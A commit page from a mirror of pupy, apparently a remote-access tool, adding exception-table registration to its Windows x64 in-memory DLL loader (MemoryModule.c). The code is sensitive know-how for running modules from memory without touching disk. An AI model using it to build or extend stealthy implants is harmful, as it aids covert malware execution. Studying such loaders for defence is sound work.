Rooba
/
pupy
mirror of https://github.com/n1nj4sec/pupy.git
1
1
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Win/x64: MemoryLoader: Register exception handlers

This commit is contained in:
Oleksii Shevchuk 2019-02-16 20:46:24 +02:00
parent eed25031df
commit a6f4156610
1 changed files with 43 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

43
client/sources/MemoryModule.c
View File

@ -432,6 +432,42 @@ static void _FreeLibrary(HCUSTOMMODULE module, void *userdata)
FreeLibrary((HMODULE) module);
}
//===============================================================================================//
#if defined(_WIN64)
BOOL WINAPI RegisterExceptionTable(PMEMORYMODULE pModule)
{
UINT_PTR uiLibraryAddress = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiNameOrdinals = 0;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_RUNTIME_FUNCTION_ENTRY pExceptionDirectory = NULL;
DWORD dwCount;
BOOL bResult;
unsigned char *codeBase = pModule->codeBase;
if( pModule == NULL )
return FALSE;
pDataDirectory = GET_HEADER_DICTIONARY(pModule, IMAGE_DIRECTORY_ENTRY_EXCEPTION);
if (pDataDirectory->Size == 0 || pDataDirectory->VirtualAddress == 0)
return TRUE;
// get the VA of the export directory
pExceptionDirectory = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(codeBase + pDataDirectory->VirtualAddress);
if (!pExceptionDirectory)
return TRUE;
dwCount = (pDataDirectory->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)) - 1;
return RtlAddFunctionTable((PRUNTIME_FUNCTION)pExceptionDirectory, dwCount, (UINT_PTR)codeBase);
}
#endif
HMEMORYMODULE MemoryLoadLibrary(const void *data)
{
return MemoryLoadLibraryEx(data, _LoadLibrary, _GetProcAddress, _FreeLibrary, NULL);
@ -551,6 +587,13 @@ HMEMORYMODULE MemoryLoadLibraryEx(const void *data,
goto error;
}
#if defined(_WIN64)
// Enable exceptions
if (!RegisterExceptionTable(result)) {
goto error;
}
#endif
// mark memory pages depending on section headers and release
// sections that are marked as "discardable"
if (!FinalizeSections(result)) {